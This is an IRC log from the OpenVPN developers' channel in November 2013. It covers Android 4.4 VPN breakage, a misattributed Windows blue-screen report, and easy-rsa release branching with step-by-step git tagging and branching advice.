openvpn 08:57 < Kanalia> I don't know of any other vpn-related IRC channels, other than some general hacker places 08:59 <@plaisthos> point is this is the developers' channel and #openvpn is the users' channel 08:59 < Kanalia> right right, I respect that 08:59 < Kanalia> going away then :) thanks for clearing things up in regards to iOS 08:59 <@plaisthos> you so will get better responses to general question in the #openvpn channel 09:02 -!- Kanalia [~Kanalia@89-67-131-55.dynamic.chello.pl] has left #openvpn-devel [] 12:44 -!- novaflash_away is now known as novaflash 13:29 -!- mattock is now known as mattock_afk 13:38 -!- novaflash is now known as novaflash_away 13:44 -!- novaflash_away is now known as novaflash 14:05 -!- novaflash is now known as novaflash_away 14:10 -!- novaflash_away is now known as novaflash 14:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 14:30 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:30 -!- dazo_afk is now known as dazo 18:22 -!- raidz is now known as raidz_away 18:31 -!- raidz_away is now known as raidz 22:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 22:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 22:23 -!- Netsplit *.net <-> *.split quits: @mattock_afk --- Day changed Wed Nov 06 2013 02:10 <@vpnHelper> RSS Update - tickets: #342: Cannot connect to VPN from Linux by using ikey3000 token <https://community.openvpn.net/openvpn/ticket/342> 03:26 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 03:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:28 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:28 -!- dazo_afk is now known as dazo 15:32 -!- mattock is now known as mattock_afk 16:41 <@ecrist> ping mattock_afk you around? 16:42 <@ecrist> or raidz --- Day changed Thu Nov 07 2013 02:13 -!- mattock_afk is now known as mattock 02:37 <@mattock> ecrist 02:37 <@mattock> what's up 06:19 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:19 -!- mode/#openvpn-devel [+o andj__] by ChanServ 06:21 -!- Netsplit *.net <-> *.split quits: @andj 06:21 -!- andj__ is now known as andj 07:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 07:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:09 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 07:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:41 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 07:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:20 <@ecrist> hey mattock 09:20 <@ecrist> I don't recall what I'm doing wrong, but what vpn server should I be connecting to these days? 09:23 <@ecrist> nm, I think my problem was my mac client config has comp-lzo disabled for some reason 09:24 <@ecrist> it's working now 10:49 <@plaisthos> just FYI: VPN may be broken on Android 4.4 10:49 <@d12fk> ? 10:49 <@d12fk> that's the kitkat successor right 10:50 <@plaisthos> It is not work in the emulator and I got one report from a guy with a Nexus 5 that it is broken for him too (in the same way as in the emulator) 10:50 <@plaisthos> d12fk: 4.4 is kitkat 10:51 <@d12fk> broken beyond repair? that would upset many ppl 10:51 <@plaisthos> yeah at least in the emulator 10:51 <@plaisthos> Unfortunately I don't have access to a 4.4 device myself 10:52 <@plaisthos> The Nexus 7 updates are not out yet 10:52 <+krzee> wheres he live? ill ship you his ;] 10:53 <@plaisthos> krzee: ? 10:53 <+krzee> ok ok just kidding :D 10:55 <@d12fk> Paderborn is known to receive them very last =) 10:55 <@plaisthos> :0 10:56 <@plaisthos> hm 10:57 <@plaisthos> there is some builds for nexus 7 from android sources 10:57 <@plaisthos> maybe I will try to flash that 11:15 <@cron2> plaisthos: broken in which way? "VPN API does not work anymore"? 11:39 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 11:39 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:41 <@plaisthos> cron2: on the Nexus 7 with an AOSP it works 13:46 <@plaisthos> 17:16 -!- mattock is now known as mattock_afk 20:47 <+krzee> plaisthos, what part is not working in the emulator? --- Day changed Fri Nov 08 2013 00:40 -!- mattock_afk is now known as mattock 04:23 <@plaisthos> krzee: everything! 04:24 <@plaisthos> krzee: http://code.google.com/p/android/issues/detail?id=61678&q=vpnservice&colspec=ID%20Type%20Status%20Owner%20Summary%20Stars 04:24 <@vpnHelper> Title: Issue 61678 - android - VpnService support on Android 4.4 emulator image broken - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 05:38 <@plaisthos> the user in question with the broken nexus 5 installed a clean recovery images and now OpenVPN for Android works again 05:39 <@plaisthos> (Since there are some Googlers who use my software I expect that this kind of breakage gets noticed) 06:26 -!- fishbone [~fishbone@ALille-654-1-104-182.w90-47.abo.wanadoo.fr] has joined #openvpn-devel 06:33 < fishbone> Hello everyone ! I'm just here to report a bug on my config. I'm not sure yet (that's why i'm doing some tests), but it seems that openvpn is causing BSOD, it has always happened when I was listening to music (it's quite random though). Maybe a conflict between drivers (error on BSOD pointing .sys files). Thanks ! 06:59 <@plaisthos> why are you suspecting OpenVPN when playing music seems to trigger it? 07:02 < fishbone> I didn't have any BSOD before installing openVPN 07:02 <@ecrist> did you capture the BSOD message? 07:03 < fishbone> but that's why I said that i'm not sure yet, for now I've disabled the TAP driver to see if I still have BSOD 07:04 <@ecrist> what version of openvpn? 07:04 < fishbone> lastest version 07:04 <@ecrist> which is... 07:04 < fishbone> 2.3.2 64 bits 07:04 <@dazo> community edition? 07:04 < fishbone> ye 07:05 < fishbone> s 07:06 <@dazo> we need to see the BSOD to be able to evaluate this further ... likewise, any relevant entries from the eventlog as well 07:06 <@ecrist> we're dubious because this is the first instance of a BSOD we've heard of. I highly doubt this is openvpn related. 07:11 < fishbone> The first message screened on the BSOD was related to "cmudaxp.sys", last one I had this morning is "kernel security check failure" 07:12 <@ecrist> what brand machine is this? 07:12 <@ecrist> cmudaxp.sys points to a sound card driver 07:12 < fishbone> yes, it's an Asus Xonar Essence ST 07:12 <@ecrist> http://www.techsupportforum.com/forums/f19/solved-asus-xonar-dg-bluescreening-and-quot-cmudaxp-sys-and-quot-when-accessing-recording-devices-695101.html 07:13 <@vpnHelper> Title: [SOLVED] Asus Xonar DG Bluescreening "cmudaxp.sys" when accessing Recording Devices - Tech Support Forum (at www.techsupportforum.com) 07:13 <@ecrist> From a quick Google search, cmudaxp.sys appears to be an Asus audio driver file. 07:13 < fishbone> I've already seen that 07:14 <@ecrist> then what makes you think your blue screen is openvpn related? 07:14 < fishbone> but I've been using that card for 2 years now, never had any BSOD, and few hours after i've installed OpenVPN, BSOD start to pop out :/. 07:15 <@ecrist> thousands and thousands of users use openvpn, we don't have a single BSOD report 07:15 <@ecrist> the first google result about your BSOD points to a specific problem and a specific fix 07:18 < fishbone> not thousands and thousands of users use an Essence ST :p. 07:19 <@dazo> fishbone: to put it in a perspective ... there are several 1000 (if not > 10.000) downloads of OpenVPN every month ... and openvpn does not use/depend on "cmudaxp.sys" (or any sound features) 07:19 < fishbone> by the way I'll test more with the TAP driver disabled 07:19 <@ecrist> did you follow the instructions in that post about your audio driver? 07:19 <@ecrist> personally, I'd start there 07:19 <@dazo> fishbone: but many driver writers are known to have faulty updates or break when windows are updated 07:20 <@ecrist> if there's an OpenVPN bug, we'll happily fix it, but I think you're better off looking at hardware driver issues 07:22 < fishbone> sure ! but you can understand that after 2 years without any problems, then installing your software and starting having BSOD can lead to something related there :). 07:23 * ecrist shrug 07:23 < fishbone> I did a complete format of my system after the first BSODs, and I'm still having this issue 07:23 <@ecrist> knock yourself out 07:23 < fishbone> but yes, I'll do some more tests 07:23 < fishbone> thank you ! 07:24 <@cron2> I could imagine "a new combination of drivers in the system" (tap driver added) triggering bugs elsewhere 08:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 08:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 08:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:37 -!- dazo is now known as dazo_afk 15:04 -!- mattock is now known as mattock_afk 15:14 -!- mattock_afk is now known as mattock 16:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 16:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:49 -!- dazo_afk is now known as dazo 18:37 <@pekster> So, to add to the confusion everywhere, the forum banner for the "Access Server" forums proudly states "Community Support Forum" :\ 18:38 * pekster adds it to the list of ugly things to be fixed. That's bad both ways: it makes AS look like community-supported, and the "OpenVPN.net" URL at the very top of the page takes you to the community page, which isn't what commercial customers probably expected 18:45 <@pekster> Are there any plans to separate this out? Have each "landing page" (FOSS & Corp) have a "here's our wiki" link as they see fit that doesn't cross-link and mix things up? 18:47 <@pekster> s/wiki/forum/ 19:19 <@ecrist> sup bitches 19:28 <@pekster> ecrist: Oh, I might as well pop over here. With the help of one of the MirBSD devs, I found a wonderfully complete shell for Windows that, get this, doesn't suck. mksh/Win32, a proper Win32 port (with paths Windows users expect and everything) of mksh 19:29 <@ecrist> huh 19:29 <@pekster> OpenSSL gets a little trickier due to licensing (although that can probably be solved with including "yet another" licensing file if it is shipped. Plus the issue of a mandatory version bump if it by defeault uses that bundled version as we become a path for security flaws to stay if users don't upgrade 19:29 <@ecrist> and is it generally POSIX compliant sh, then? 19:29 <@ecrist> or bash? 19:29 <@ecrist> or? 19:29 <@pekster> POSIX sh, yes 19:30 <@ecrist> woohoo 19:30 <@ecrist> we can do everything we need in sh, I think 19:30 <@pekster> Yea, I tried something like 6 shells, and someone in another channel pointed it out to me a couple weeks ago 19:30 <@ecrist> it's be handy if it had a built-in sed/awk functionality, though 19:30 <@pekster> mksh/WIn32 for the shell, and unxutils for the POSIX utilities 19:30 <@pekster> Yea, no such luck. Busybox can do that, but it throws nasty MSVC errors calling OpenSSL's binary :( 19:31 <@pekster> I filed a bugreport upstream, but they don't seem keen on fixing it 19:31 <@ecrist> well, mksh and unixutils combined can solve our problems, that should work around almost all the major deployment cases 19:31 <@pekster> No big deal though; my latest code uses only the following externals: awk, cp, mkdir, printf, & rm 19:31 <@pekster> Well, and "which" so we can yell at users who break it by removing one of those :P 19:32 <@ecrist> oh, that's right, printf isn't an actual built-in for sh 19:32 <@pekster> It "can be" by POSIX standard, but isn't with mksh 19:32 <@ecrist> that seems like a tidy group of binaries 19:33 <@ecrist> are those sources all available, or are the projects active? 19:33 <@pekster> Yes and Yes 19:33 <@ecrist> i.e. are we going to have to fix/maintain this moving forward? 19:33 <@pekster> No, and realistically I don't think well need to deal with updates that much. Technically mksh/Win32 is "beta-14" or something, but I can't break it now. I'm in contact with the main dev there, and the issues now are very minor and way outside our scope/care 19:34 <@ecrist> does it run on Windows 8.1? 19:34 <@pekster> Actually, I have family coming in from out of state with a new laptop to test that on :) 19:34 <@pekster> Should be here in a couple hours through the weeeknd ;) 19:35 <@ecrist> very nice 19:36 <@pekster> Yea. So, realistically, sometime in the next few days I should be able to push something decently-polished and usable (on _all_ platforms, which was a big deal for me before doing any official-ish push, even if just git-master) to a 3.x tree 19:36 <@ecrist> so, with these utils in mind, do you think we can create a "portable" install for windows (without a major installer) that's essentially a zip extract? 19:36 <@pekster> I just really didn't want to do taht and then have to deal with Windows changes later that broke stuff I'd rather not break 19:36 <@pekster> Yes :) 19:36 <@ecrist> that's great 19:36 <@pekster> The only tricky part is openssl, and we _can_ bundle a binary-only copy, but I'd almost rather check for it and "offer" to redirect them to an usptream installation 19:36 <@ecrist> that's sort of been my ultimate goal on windows, anyhow 19:36 <@pekster> That's cleaner, and less of a security hasstle for us 19:37 <@pekster> I really don't want to have to urgently bump/announce/etc when openssl has the next issue (their fault of math's fault) 19:37 <@pekster> or* 19:37 <@ecrist> true 19:37 * ecrist envisions Java-like annoying "update available" popups 19:38 <@pekster> Right, none of that. I like making the user responsible; many will be using openvpn anyway, but the CA case is speical if people do use a dedicated system 19:38 * ecrist debbie10t hey 19:38 <@ecrist> grr 19:38 <@pekster> If it's just a different account on the box, the openvpn install is enough, provided they installed openssl and updated PATH 19:39 <@ecrist> an installer might be the way to go 19:40 <@pekster> Currently I'm doing this, but it's changable to be a bit smarter too, like include a direcct link to the one and only upstream-linked URL: http://pastebin.kde.org/pdkugee1v/sqhwm7/raw 19:40 <@pekster> Yea, and a basic nsis might be fine too (doesn't need to be all that fancy really) 19:40 <@pekster> I thought about that as well; maybe for phase2. I'd kinda like to get a zip-version out for early-adopters to play with 19:40 <@ecrist> right 19:40 <@ecrist> right again 19:41 <@ecrist> on the easyrsa shell, it might be worthwhile to have easyrsa# as the prompt 19:41 <@pekster> And either way I want to let people "just extract and run" it becuase, at its core, this is just a script 19:41 <@ecrist> I agree 19:41 <@ecrist> windows users aren't so accustomed to such things, though 19:41 <@pekster> True. 7-zip SFX? :P 19:42 <@ecrist> that's easy 19:42 <@ecrist> even with bulit-in windows SFX is fine 19:42 <@pekster> A basic installer is trivial, though if it gets clever about finding openssl it could require minor bits of magic) 19:44 * pekster thinks the mksh/Win32 dev deserves a nice thank-you email after the first usable zip. 6 shells later, including 2 I built from source, and this just maically works. 287k binary too! 19:44 <@ecrist> very workable 19:44 <@pekster> awk is 191k, but it's darn-useful (I replaced all sed/grep calls with inline awk, so <3 ) 19:45 <@ecrist> sed/grep can also be inline, you kno 19:45 <@ecrist> know* 19:45 <@pekster> Yes, but more crap to check for 19:45 <@pekster> awk can do all the usecase that sed/grep was doing, and I don't need to test for them ;) 19:48 <@ecrist> well, if you're so close to a 3.0 usable package, I'll hold off fixing the current one 19:48 <@pekster> This is thus far the best place awk simplified things: https://github.com/QueuingKoala/easy-rsa/blob/master/easyrsa#L482 19:48 <@vpnHelper> Title: easy-rsa/easyrsa at master · QueuingKoala/easy-rsa · GitHub (at github.com) 19:50 <@ecrist> when will you push this into git then? 19:50 <@pekster> Yea, same plan as we hashed out before. I'll branch release/2.x from what we have now (future fixes & tags come from there -- it's still a possible "active dev line") and master becomes the new development mainline 19:51 <@ecrist> good 19:51 <@pekster> So v2.2.whatever can still happen "if needed", but otherwise we can stage releases from master, optionally using a release/3.x branch 19:51 <@pekster> openvpn cherry-picks from master -> release/foo, but we might not need that, or could just FF-merge from master unless there was a reason to diverge (realistically this just isn't as complex as openvpn :P ) 19:53 <@pekster> I'll make a note here when I'm preparing to re-organize things, but it really just impacts people going to the github site directly. I'll make a note to update the !factoids, and at least glance at the wiki to see if links need to be updated to point to the 2.x branch instead of master for any walkthroughs (!howto already uses the bundled 2.x batch-stuff) 19:53 <@ecrist> I will package a 2.2.1 then, that fixes these distribution problems, and has the current changes that have been comitted 19:54 <@pekster> Sure, probably easier to do that before I make a mess of the tree (though that's a sure-fire way to learn about it in a hurry!) 19:54 <@ecrist> heh 19:55 <@pekster> No big change besides not forgetting to `git checkout release/2.x` first, though forgetting could have exciting effects if you try to push a tag :P 19:57 * pekster actually managed to make quite a mess of git between the dev box (Linux) and the Win32 VM (XP) with some rebasing my local changes. git really didn't like that, but it's not too bad to undo. It'd be worse if 16 devs each did it and got dozens of commits in though (DCVS gives you the power to really screw things up if you try) 19:57 <@ecrist> I really don't like git 19:57 <@ecrist> svn in most cases i've run into, is far better. 19:57 <@pekster> I'm really enjoying it. It makes workflow so much easier 19:58 <@pekster> Ironically, all I needed to to do avoid the hassle my rebasing caused was create a local branch, though that's a forign concept in an svn envnironment 19:59 <@pekster> Well, avoid it from happenign again (I had to either fix or re-clone at the time, and I did learn how to actually fix it) 20:06 <@ecrist> now to figure out how I tag a release 20:07 <@pekster> If you've already checked out the commit you care about, just `git tag <tagname>`. It's often useful to annotate it with a message too, like "tagging version $blah" or something by adding -a before the tag 20:08 <@pekster> It's all local anyway until you push 20:11 <@ecrist> no push needed. I'm going to simply publish two zip files 20:11 <@ecrist> one for *nix and one for *windows 20:11 <@ecrist> once it's tagged, feel free to branch/etc 20:14 <@pekster> Need to push the tag I mean :P 20:15 <@ecrist> I need to talk to mattock again to get some git tips on how they do the signed-off by and such 20:15 <@ecrist> I can't find my notes 20:19 <@pekster> In a normal commit, `git -s commit`, but -s in tags does a "gpg-signed" trag 20:20 <@pekster> Looks like the one and only tag now is an un-annotated tag 20:21 <@pekster> So, just `git tag v2.2.1` to tag it; the tag is attached to the commit you're on, generally the current branch checkout's HEAD 20:21 <@pekster> You'll get a chance to review or delete it before you push too, so `git checkout v2.2.1` to spot-check it first 20:23 <@ecrist> I was using the github interface for a release 20:30 <@ecrist> fucking sweet. MacGPG is back 20:30 * ecrist does a happy dance 20:30 <@ecrist> ok, pekster I've tagged 2.2.1 20:31 <@ecrist> I could have done it your way, in retrospect, but it's done and "released" now 20:31 <@pekster> * [new tag] v2.2.1 -> v2.2.1 20:31 <@pekster> fetch complete :P 20:32 <@pekster> Yea, and less work for you to worry about something not master. "We ain't a simple project anymore!" 20:32 <@ecrist> the last "release" was just the source, this release, there are unique zip files for windows and nix 20:32 <@ecrist> and signatures for each 20:33 <@ecrist> so, how do I branch this to 2.x then? 20:34 <@ecrist> is a branch not what I want? 20:34 <@pekster> Depends on the name we want; openvpn uses the name "release/2.x" style, but we could opt not not use the word release, or the slash (the slash is a little weird, becuse you separate the remote repo dispaly name with it too) 20:34 <@ecrist> since it'll never get merged back in 20:34 <@pekster> Right (brb, gotta drain pasta) 20:41 <@pekster> So, release/2.x is fine, although release-2.x would work too (and be a little less confusing than referring to branch origin/release/2.x, but it doesn't really matter one way or the other.) f.ex, `git checkout -b release/2.x` for the slash-named method will create a new branch named "release/2.x" from the currently checked-out branch 20:42 <@pekster> That'll incidently leave the 1.0 dir in there too, so if you really wanted (or wanted me to) we could do another branch for 1.x, but I'm not sure anyone cares :P 20:43 <@pekster> Fun fact: since you're creating the first release branch, everyone that follows will just copy you ;) 20:44 <@ecrist> heh, yippee 20:45 <@ecrist> so, would you prefer with a slash, or without? I think I'd prefer the slash 20:45 <@ecrist> (it creates dirs, iirc, on *nix) 20:45 <@ecrist> afk for a Jack refill 20:46 <@pekster> Oh, so it does under .git/refs/heads/ 20:46 <@pekster> (not that people usually go fishing there unless something is broken, usually the user's own fault :P) 20:47 <@pekster> Slash it up! 20:47 <@pekster> These inodes won't use themselves 20:48 <@pekster> Ah, Jack. That's how you're tolerating git :P 20:51 <@ecrist> heh, indeed 20:55 <@ecrist> I'm closing open pull requests and with branch here shortly 20:55 <@ecrist> then all your excuses for not putting your code on github are gone. :P 20:58 <@pekster> It is on github, just not under the OpenVPN namespace (no, that's okay, don't get me started on namespaces again..) 20:59 <@ecrist> trac now has version tags for easyrsa-1x, 2x, 3x, and master branch 21:00 <@ecrist> see here, if you can 21:00 <@ecrist> https://community.openvpn.net/openvpn/ticket/198 21:00 <@vpnHelper> Title: #198 (Invalid "-days" argument to openssl req in pkitool) – OpenVPN Community (at community.openvpn.net) 21:00 <@ecrist> I'm going to merge that change into 2.2.x 21:00 <@ecrist> not sure what's in your code base at this point 21:01 <@pekster> I saw that, and my staged project isn't impacted 21:01 <@pekster> (we'd hope not, otherwise I just re-coded the same bug in. Possible, but I've tried hard not to) 21:04 <@ecrist> worse things have happened, I'm sure 21:05 <@pekster> Microsoft seems to be really good at it ;) 21:05 <@pekster> ".. impacts Windows XP through Windows 8 .." 21:05 <@ecrist> so, would you "sign off" on that pull request? 21:06 <@ecrist> and if so, I wonder how I commit and do the sign-off 21:09 <@pekster> (just had to look at the code for context.) Yea, the change is good. So the sign-off with your name is automatically added to the interactive editor with `git commit -s` (I like adding -v as well so you get an inline diff of the code change, "just to double-check" before you commit it) 21:10 <@ecrist> I'm doing this one from the CLI 21:10 <@ecrist> I need to learn git eventually 21:10 <@ecrist> yeah, his change is valid, for sure. 21:10 <@pekster> I'm referring to the CLI git ;) 21:10 <@ecrist> so, did the git pull for his patch 21:10 <@pekster> If you use -s without having set your get config, it'll whine at you IIRC 21:11 <@ecrist> then I do git merge right? 21:11 <@pekster> Yup, it should show as a branch IIRC (haven't used github pull requests in a number of weeks) 21:11 <@ecrist> the git -s push right? 21:12 <@pekster> You need to commit locally before you can push 21:12 <@pekster> The commit is what adds the message 21:12 <@pekster> (that's all local until you push the commit and the remote (github) updates its HEAD) 21:13 <@pekster> So once you do the merge on the release/2.x branch (you could use master, but then you need to merge master to release/2.x, heh) just `git commit -s -v` and give it a message 21:13 <@ecrist> I haven't done the release branching yet 21:13 <@ecrist> wanted to clean up the pull requests, first 21:13 <@pekster> Ah, gotcha 21:18 <@pekster> Oh, though he didn't included a proper Signed-off: line on his commit in the pull request :P 21:18 <@pekster> (then again, it doesn't really matter so long as you note it in the merge of that commit 21:18 <@pekster> If you really want you can "edit" his commit message ;) 21:19 <@ecrist> I couldn't get it to allow me to set a message or antying 21:19 <@ecrist> "nothing to do" messages for everything EXCEPT git ush 21:19 <@ecrist> boom done 21:20 <@ecrist> so, how do I take the 2.0 directory, and turn it into a branch? 21:21 <@pekster> Be aware that'll muck with the autoconf black-magic Alan set up 21:21 <@ecrist> or can I only take a specified commit and turn it into a branch? 21:21 <@pekster> Right, but you can shuffle things around if you want 21:21 <@ecrist> yeah, there's not much there, and 3.0 is going to muck with it anyhow 21:21 <@pekster> (probably branch it, then mess with it) 21:22 <@ecrist> delete what we don't want, etc, right? 21:23 <@pekster> Right; it doesn't really matter if we do that before or after branching to the release branch; the release branch is where any continued 2.x development happens. If we cared about 1.0, I'd say just branch master -> both release/1.x and release/2.x, then clean them up 21:24 <@pekster> We can't really re-structure things since configure.ac depends on the hard-coded structure; my autoconf foo isn't good enough to spot by eye if it's just the SRCDIR that needs updating 21:24 <@pekster> 1.0 can go though 21:26 <@ecrist> ok, I'll make 1.0 it's own thing, 2.0 it's own thing and just kinda leave it mostly alone so as not to break everything 21:26 <@ecrist> but gives us a platform to start from 21:27 <@pekster> Right. I don't know if alan's autoconfig magic works for 1.0 (I'm sort of assuming not, even after the hardcoded paths are changed) but they can at least "be there" if someone cares 21:28 <@ecrist> no, it doesn't, I just looked 21:31 <@pekster> So for the 2.x case, from master `git checkout -b release/2.x` (if that name works for you), then you'll be on that branch. You can `git rm doc/README-1.0 easy-rsa/1.0`, then `git commit -s -v` and commit that 21:31 <@ecrist> so, I just modified a release/1.x branch 21:31 <@ecrist> I did a git commit -a -s -v, modified my message, and did a git push 21:31 <@ecrist> I don't see it in github, though 21:32 <@pekster> Right, branches need to be specifically pushed 21:32 <@pekster> The idea is you might have your own local development branches you don't want to push, by design 21:33 <@ecrist> so, how do I push this branch up the tree? 21:33 <@pekster> `git push origin release/1.x` 21:34 <@pekster> That'll add that branch to the remote, and add it as a remote-tracking branch locally (so you can fetch changes from upstream if someone else has pushed commits) 21:34 <@ecrist> woohoo 21:36 <@pekster> Oh, I think I see what happened with the pull request now that I have the history; you used `pull` instead of fetch+merge? The default with pull is to blindly auto-generate a commit message and auto-commit in that case 21:37 <@pekster> No big deal, just means no signed-off line (since git just went-ahead and merged in the commit from the other guy's repo verbatim and auto-committed it for you.) 21:40 <@ecrist> yeah, I used pull 21:40 <@pekster> The alternative is to use f.ex, `git merge --no-ff` allowing you to create a merge commit, basically an "additional commit" where you can commit on the merge from the pull request 21:41 <@ecrist> that makes sense 21:41 <@ecrist> that's what I did last time 21:41 <@ecrist> now that I recall 21:41 <@ecrist> want to look and see if the 1.x and 2.x branches showed up for you? 21:42 <@pekster> Yup, got 1.x a moment ago to spy^W look at the history ;) and 2.x showed up now 21:43 <@ecrist> excellent 21:43 <@ecrist> lol 21:43 <@pekster> Looks good 21:47 <@pekster> Okay, my turn for some whiskey before I deal with Windows 8 testing :) 21:47 <@ecrist> heh 21:48 <@ecrist> I suggest 151 21:48 <@pekster> The fee I need to "pay" to use this not-my-laptop: I'm assisting to install Visual Studio. I'd better make it a double 21:48 <@ecrist> ouch 21:49 <@pekster> Though I like your 151 idea; if I get frustrated enough I can just light it on fire 21:50 <@pekster> Oh, any idea if we want to include a release/3.x branch, even if we just end up fast-forwarding merges from master onto it? That'll at least be visually appealing for any github web brorwsers 21:51 <@pekster> In theory we could wait until actual release-points too, so that branch is "more stable" than whatever the last commit was (if a bug is identify after pushing, pre-release, kinda like the TLS-negotation commit using openvpn as an example) 21:52 <@ecrist> funny 21:52 <@ecrist> I just committed a change to RELEASE 21:52 <@ecrist> sorry, README 21:52 <@ecrist> STRUCTURE: 21:52 <@ecrist> Once a new major release has started, currently 3.0, the former release will 21:52 <@ecrist> be branched for back porting and tracking. Currently, we have: 21:52 <@ecrist> release/1.x 21:52 <@ecrist> release/2.x 21:52 <@ecrist> master <- 3.x, currently 21:53 <@ecrist> although nothing has been comitted for 3.x, master can now be mangled as we see fit 21:54 <@ecrist> unless you have them done, I plan on writing some package scripts of some sort to build/sign things as we need 21:54 <@pekster> Right, but most projects tend to have a release branch too, though in this case we could simply tag right from master -> v3.0.0 21:54 <@ecrist> might be a good time to follow Alon's lead and use autoconf 21:57 <@pekster> yea, although some of the files clearly need adjustment; take the rpm using "OpenVPN Technologies, Inc. <sales@openvpn.net>" for instance :\ 21:57 <@pekster> Sadly, those are probably still in the official RHEL/Fedora repos today 21:57 <@pekster> Never much did care for RPM though ;) 21:59 <@pekster> Though the idea of creating an autoconf script that builds a script to package a script is kinda amusing in itself :) 22:13 <@ecrist> I'm going to watch some TV 22:13 * ecrist poofs 23:29 <@pekster> Who-hoo, win8 plays nice too. mksh just Does It All --- Day changed Sat Nov 09 2013 00:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 00:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:01 -!- mattock is now known as mattock_afk 02:13 -!- mattock_afk is now known as mattock 02:38 -!- fishbone [~fishbone@ALille-654-1-104-182.w90-47.abo.wanadoo.fr] has quit [Read error: Connection reset by peer] 07:18 <@cron2> ecrist: the thing with git is: it's too powerful for the average developer. So you need a super-dev to decide "*this* is the workflow we use for this project!" (what dazo did) and the rest just follows... 15:32 -!- mattock is now known as mattock_afk 15:44 -!- novaflash is now known as novaflash_away 15:44 -!- novaflash_away is now known as novaflash 21:02 -!- dazo is now known as dazo_afk --- Day changed Sun Nov 10 2013 02:10 -!- mattock_afk is now known as mattock 04:11 <@vpnHelper> RSS Update - tickets: #343: cannot make openvpn 2.3.2 with polarssl 1.3.1 <https://community.openvpn.net/openvpn/ticket/343> 05:09 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 06:41 -!- tty0x80 [~tty0x80@188.241.65.12] has joined #openvpn-devel 06:43 < tty0x80> Is there a way to force the openvpn client to hide both "Auth Username" and "Auth Password"? 06:43 < tty0x80> While it's normal to have an auth file to make the process easier, the stdin approach is still preferable. 06:59 -!- tty0x80 [~tty0x80@188.241.65.12] has quit [Ping timeout: 244 seconds] 14:54 -!- mattock is now known as mattock_afk 17:31 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 18:21 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 18:24 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 18:59 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 19:02 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:02 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:02 -!- dazo_afk is now known as dazo --- Day changed Mon Nov 11 2013 01:30 -!- mattock_afk is now known as mattock 03:17 -!- SviMik [~pIRCuser8@204.164.250.195.sta.estpak.ee] has joined #openvpn-devel 05:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:40 <@cron2> plaisthos: could you re-send the dual-stack patches? I have no time whatsoever :-) - but I want to *find* time to give them a review before Friday, so we can try to get them merged "soon now" 08:02 <@plaisthos> :) 08:07 <@cron2> does that mean my plans amuse you? ;-) 08:15 <@plaisthos> cron2: no, but I that is on my todo list for 2 months now to resend the patches 08:15 <@plaisthos> and now I have another reason 08:24 <@cron2> plaisthos: yeah, it was sort of on my "I need to get around to do this" list, but after the nat64/dns64 experiment recently I decided "we must have this soon!" as it will just not work there (you need to specify "proto udp6" to actually talk to an ipv4-only server if dns64/nat64 is involved) 08:24 <@cron2> and also tore bugged me about it again... in person!... and he promised to bug the network manager guys as soon as we're ready. That's a quite strong incentive :-) 08:31 <@plaisthos> cron2: :) 09:15 -!- SviMik [~pIRCuser8@204.164.250.195.sta.estpak.ee] has quit [Quit: svimik@mail.ru] 10:31 -!- mattock is now known as mattock_afk 11:09 <@pekster> cron2: No rush as before, but the chroot fix should get a review prior to the .3 patch release. Anyone 